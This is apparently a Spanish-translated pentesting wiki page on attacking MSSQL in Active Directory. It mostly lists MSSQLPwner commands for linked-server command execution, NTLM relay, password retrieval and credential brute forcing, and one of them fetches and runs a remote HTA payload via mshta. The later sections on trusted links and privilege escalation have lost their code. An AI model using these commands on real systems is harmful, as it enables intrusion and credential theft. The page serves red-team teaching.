MSSQL AD Abuse
Abuso de MSSQL AD
Enumeración / Descubrimiento de MSSQL
Python
La herramienta MSSQLPwner se basa en impacket, y también permite autenticarse usando tickets kerberos, y atacar a través de cadenas de enlace.
```shell # Interactive mode mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
Executing direct query
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
Retrieving password from the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
Interactive mode
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
Enumerando desde la red sin sesión de dominio
Enumerando desde dentro del dominio
Abuso Básico de MSSQL
Acceso a DB
MSSQL RCE
También podría ser posible ejecutar comandos dentro del host de MSSQL.
Check in the page mentioned in the siguiente sección cómo hacerlo manualmente.
MSSQL Trucos Básicos de Hacking
1433 - Pentesting MSSQL - Microsoft SQL ServerEnlaces de Confianza de MSSQL
Si una instancia de MSSQL es confiable (enlace de base de datos) por una instancia de MSSQL diferente. Si el usuario tiene privilegios sobre la base de datos confiable, podrá utilizar la relación de confianza para ejecutar consultas también en la otra instancia. Estas confianzas pueden encadenarse y en algún momento el usuario podría encontrar alguna base de datos mal configurada donde puede ejecutar comandos.
Los enlaces entre bases de datos funcionan incluso a través de confianzas de bosque.
Abuso de Powershell
Metasploit
Puedes verificar fácilmente los enlaces de confianza utilizando metasploit.
Notice que metasploit intentará abusar solo de la función openquery()
en MSSQL (así que, si no puedes ejecutar comandos con openquery()
, necesitarás intentar el método EXECUTE
manualmente para ejecutar comandos, ver más abajo.)
Manual - Openquery()
Desde Linux podrías obtener un shell de consola MSSQL con sqsh y mssqlclient.py.
Desde Windows también podrías encontrar los enlaces y ejecutar comandos manualmente usando un cliente MSSQL como HeidiSQL
Iniciar sesión usando autenticación de Windows:
Encontrar enlaces confiables
Ejecutar consultas en un enlace confiable
Ejecutar consultas a través del enlace (ejemplo: encontrar más enlaces en la nueva instancia accesible):
Verifique dónde se utilizan comillas dobles y simples, es importante usarlas de esa manera.
Puedes continuar esta cadena de enlaces de confianza para siempre de forma manual.
Si no puedes realizar acciones como exec xp_cmdshell
desde openquery()
, intenta con el método EXECUTE
.
Manual - EXECUTE
También puedes abusar de enlaces de confianza utilizando EXECUTE
:
Escalación de Privilegios Local
El usuario local de MSSQL generalmente tiene un tipo especial de privilegio llamado SeImpersonatePrivilege
. Esto permite que la cuenta "se haga pasar por un cliente después de la autenticación".
Una estrategia que muchos autores han propuesto es forzar a un servicio del SISTEMA a autenticarse en un servicio malicioso o de intermediario que el atacante crea. Este servicio malicioso puede hacerse pasar por el servicio del SISTEMA mientras intenta autenticarse.
SweetPotato tiene una colección de estas diversas técnicas que se pueden ejecutar a través del comando execute-assembly
de Beacon.
Last updated